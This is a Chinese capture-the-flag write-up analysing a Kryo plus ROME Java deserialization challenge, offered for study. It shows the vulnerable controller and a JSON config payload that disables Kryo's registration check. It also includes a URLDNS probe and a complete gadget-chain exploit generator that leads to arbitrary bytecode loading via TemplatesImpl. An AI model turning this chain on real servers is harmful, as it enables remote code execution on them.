校赛题解之浅析kryo+rome反序列化
题目源码
非原创,仅作学习分析用。
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.jnctf.challenge.controller;
import com.alibaba.fastjson.JSON;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class Indexcontroller {
protected Kryo kryo = new Kryo();
public Indexcontroller() {
}
@ResponseBody
@RequestMapping({"/Deserialization"})
public String unser(@RequestParam(name = "poc",required = true) String data) throws IOException, ClassNotFoundException {
try {
ByteArrayInputStream bas = new ByteArrayInputStream(Base64.getDecoder().decode(data));
Input input = new Input(bas);
this.kryo.readClassAndObject(input);
return "is you success?";
} catch (Exception var4) {
return "something wrong";
}
}
@ResponseBody
@RequestMapping({"/Config/set"})
public String config(@RequestParam(name = "config",required = true) String config0) {
Map Config = (Map)JSON.parse(config0);
System.out.println(Config.get("polish"));
if (Config.get("polish").equals("jnsec")) {
System.out.println("yes");
this.kryo = new Kryo();
Method[] var3 = this.kryo.getClass().getDeclaredMethods();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
Method setMethod = var3[var5];
if (setMethod.getName().startsWith("set")) {
try {
Object p1 = Config.get(setMethod.getName().substring(3));
if (!setMethod.getParameterTypes()[0].isPrimitive()) {
try {
p1 = Class.forName((String)p1).newInstance();
setMethod.invoke(this.kryo, p1);
} catch (Exception var9) {
Exception var9 = var9;
var9.printStackTrace();
}
} else {
setMethod.invoke(this.kryo, p1);
}
} catch (Exception var10) {
}
}
}
}
return "welcome";
}
@ResponseBody
@RequestMapping({"/"})
public String index(HttpServletRequest request, HttpServletResponse response) {
return "an easy Deserialization?";
}
}
关键依赖项: //(rome版本小于1.12即可用)
<dependency>
<groupId>com.rometools</groupId>
<artifactId>rome</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>5.3.0</version>
</dependency>
Kryo
kryo是一个性能优秀的序列化器,基础介绍序列化 — Kryo序列化 - 怀瑾握瑜XI - 博客园
如果对象类型已知且不会为空,则用writeObject
和readObject
进行序列化和反序列化
如果对象类型未知且可能为空,则用writeClassAndObject
和readClassAndObject
进行序列化和反序列化,这样做会把对象的class也顺便写入序列化流中进行动态注册。
用前者序列化出的数据直接交给后者来反序列化则会报错,反之同理。
kryo只能(反)序列化已经注册过的类,用kryo.Register(someClass.class)
对类进行注册,或者关闭注册限制kryo.setRegistrationRequired(false)
,然后使用readClassAndObject
来反序列化。kryo默认注册的类只有int,String,short这些无关紧要的类,所以这边关注到/Config/set
来绕过注册限制。
首先是看到JSON.parse
,目标的fastjson版本只有1.2.41,但是java版本估计是大于8u191,可以发出请求,但是不会加载恶意类,jndi打不通,先算了。
审计代码或者丢给ai可以知道,这些代码的功能就是读取json里的键值对,检查kryo里有没有名字是set{键}
的方法,如果有,就反射调用该方法并为其赋{值}。比如传"abc":"123"
,则会调用kryo.setabc("123")
。传入如下参数即可关闭注册限制:
config={"polish":"jnsec","RegistrationRequired":false}
注意第二个值是false而不是"false"
注意第二个值是false而不是"false"
注意第二个值是false而不是"false",加了引号就会被视为字符串从而失效。
写个UrlDNS试试看:
package org.example;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Output;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.util.Base64;
public class KryoURLDNS {
public static void setFieldValue(Object object, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
Field declaredField = object.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object,value);
}
public static void main(String[] args) throws Exception {
// 创建恶意 HashMap 对象
HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://36tmhw.dnslog.cn");
map.put(url, "endp");
setFieldValue(url, "hashCode", -1);
// 配置 Kryo 序列化器
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false); // 关闭类注册检查
// 使用 writeClassAndObject 序列化对象
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
kryo.writeClassAndObject(output, map); // 关键步骤
output.close();
// 生成 Base64 Payload
byte[] bytes = bos.toByteArray();
String payload = Base64.getEncoder().encodeToString(bytes);
System.out.println("Payload:\n" + payload);
}
}
传进去成功看到了DNS请求,则kryo注册限制绕过成功。
还有个也就现在kryo这里提一嘴。kryo的默认InstantiatorStrategy(也就是实例化策略)是调用对象的无参构造方法,然后直接分配内存,不会触发readObject
,如果对象没有无参构造方法,就会直接报错。这边依赖项里还有一个objenesis库,里面的StdInstantiatorStrategy则是通过反射调用来构造对象,不会调用它本来的构造函数。
所以还要加一条:"InstantiatorStrategy":"org.objenesis.strategy.StdInstantiatorStrategy"
Rome
Rome原生反序列化是CB链的变种,用到的核心是toStringBean类的toString方法,先贴上源码:
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public String makepoc() throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Output output = new Output(bos);
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
TemplatesImpl templates = new TemplatesImpl();
String src = "yv66....";
byte[] code = Base64.getDecoder().decode(src);
setFieldValue(templates, "_name", "jiang");
setFieldValue(templates, "_class", null);
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates, "_bytecodes", new byte[][]{code});
ToStringBean beann = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException,"val",beann);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
java.security.SignedObject so = null;
so = new java.security.SignedObject(badAttributeValueExpException, privateKey, signingEngine);
EqualsBean bean=new EqualsBean(String.class,"");
//触发bean的beanequals
setFieldValue(bean,"beanClass", SignedObject.class);
setFieldValue(bean,"obj",so);
Object gadgetChain = makeXStringToStringTrigger(so,bean);
objectObjectHashMap.put(gadgetChain,"");
kryo.writeClassAndObject(output, objectObjectHashMap);
output.flush();
output.close();
System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
return new String(Base64.getEncoder().encode(bos.toByteArray()));
}
public static void main(String[] args) throws Exception {
EXP1 exp1=new EXP1();
exp1.kryo.setRegistrationRequired(false);
exp1.kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
//exp1.makepoc();
exp1.unser(exp1.makepoc());
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception {
return makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean));
}
toString()
ToStringBean beann = new ToStringBean(Templates.class,templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setFieldValue(badAttributeValueExpException,"val",beann);
链子的尾部想必大家也很熟悉了,只要能想办法调用到templatesImpl
的getOutputProperties()
方法就能任意执行字节码。ToStringBean
的toString()
方法会遍历对象所有以get开头的方法并调用,然后记录所有的结果拼接成字符串并返回,自然就能触发到前面所说的getOutputProperties()
。
此时链子的头部是ToStringBean.toString()
。
SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
java.security.SignedObject so = null;
//只是生成一个私钥和签名引擎用来创建SignedObject,不重要
so = new java.security.SignedObject(badAttributeValueExpException, privateKey, signingEngine);
这个是干什么用的呢?就是SignedObject
构造函数的第一个参数是一个对象,初始化以后会把这个对象序列化后存入content
(这边就是bad一串字母这个对象)。然后当调用signedObject.getObject()
(bean经常调用对象的get方法是吧)的时候,会把content
里的东西反序列化出来,就可以做到调用badAttributeValueExpException.readObject()
,从而调用到ToStringBean.toString()
方法。
此时链子的头部是signedObject.getObject()
。
EqualsBean
EqualsBean bean=new EqualsBean(String.class,"");
//触发bean的beanequals
setFieldValue(bean,"beanClass", SignedObject.class);
setFieldValue(bean,"obj",so);
然后是这一段,我们来看到bean的beanequals:
public boolean beanEquals(Object obj) {
Object bean1 = this.obj;
Object bean2 = obj;
boolean eq;
// 如果两个对象都为 null,则认为相等
if (bean1 == null && bean2 == null) {
eq = true;
} else if (bean1 != null && bean2 != null) {
// 如果两个对象都不为 null,则进行进一步比较
if (!this.beanClass.isInstance(bean2)) {
// 如果 bean2 不是 bean1 的实例,则认为不相等
eq = false;
} else {
eq = true;
try {
// 获取具有 getter 方法的属性描述符列表
List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);
Iterator<PropertyDescriptor> var6 = propertyDescriptors.iterator();
// 遍历属性描述符列表
while (var6.hasNext()) {
PropertyDescriptor propertyDescriptor = var6.next();
Method getter = propertyDescriptor.getReadMethod();
// 调用 getter 方法获取两个对象的属性值
Object value1 = getter.invoke(bean1, NO_PARAMS);
Object value2 = getter.invoke(bean2, NO_PARAMS);
// 比较两个属性值是否相等
eq = this.doEquals(value1, value2);
if (!eq) {
// 如果有任何一个属性值不相等,则认为两个对象不相等
break;
}
}
} catch (Exception var11) {
Exception ex = var11;
throw new RuntimeException("Could not execute equals()", ex);
}
}
} else {
// 如果一个对象为 null,另一个对象不为 null,则认为不相等
eq = false;
}
return eq;
}
加了注释就很容易看懂了,第一个setvalue是传入SignedObject.class
来通过第三个if,然后传入我们真正需要的so,遍历so里的get方法,从而执行signedObject.getObject()
。既然是比较,那就要把属性值get出来比!get了就会把signedobject给反序列化!
此时链子头部:Equalsbean.beanEquals()
HotSwappableTargetSource
Object gadgetChain = makeXStringToStringTrigger(so, bean);
objectObjectHashMap.put(gadgetChain, "");
最后一步先是将SignedObject
和EqualsBean
包装为 HotSwappableTargetSource 对象,然后用makemap创建一个哈希表,来看看这个函数的功能:
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);//反射强行把size设为2
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");//仅用于兼容JDK7
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);//获取Node的构造方法
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
//创建两个node,hash均为0,键和值都是同一个对象,两个node的键分别是so和bean(已包装)
setFieldValue(s, "table", tbl);
//用反射强行把tbl设置进Hashmap
return s;
}
public static Object makeXStringToStringTrigger(Object o,Object bean) throws Exception {
return makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(bean));
}
这样走一遍的目的是绕过HashMap的初始化机制,强行把其中的两个节点的哈希值均设为0,人为制造哈希碰撞,从而调用equals方法。makeMap的两个参数甚至都不能对换,因为链子需要bean的equals,而不是signedobject的equals,后者没任何用。至于HotSwappableTargetSource
呢?它是spring里的东西,相当于一个包装器,这是它的equals方法:
public boolean equals(Object other) {
return this == other || other instanceof HotSwappableTargetSource && this.target.equals(((HotSwappableTargetSource)other).target);
}//直接调用它包装起来的object的方法
用这个东西包一层的意义何在呢?就是做一层方法转发,确保第一次比较的时候两者是同一个类的对象,防止提前返回结果。
chains
链子的全流程:
Kryo.readClassAndObject() //反序列化入口
HashMap.putVal() → equals() //发现有哈希值一样的两个键,触发equals比较
HotSwappableTargetSource.equals() //转发比较操作给里面包装的对象(bean和so)
EqualsBean.equals() //比较时触发对象的get方法
SignedObject.getObject() //验证签名并反序列化里面的对象
BadAttributeValueExpException.toString() //bad一串字母被反序列化后会触发自身和其属性val的toString
ToStringBean.toString() //遍历其属性触发get方法
TemplatesImpl.getOutputProperties() //恶意字节码被成功加载
收获了什么?toString
方法经常会遍历对象可用的get方法,这样就有机会执行任意字节码;然后equals方法也会经常调用toString
方法,挖掘链子时可以多加留意。至于原生反序列化Rome链网上有很多,就不再细写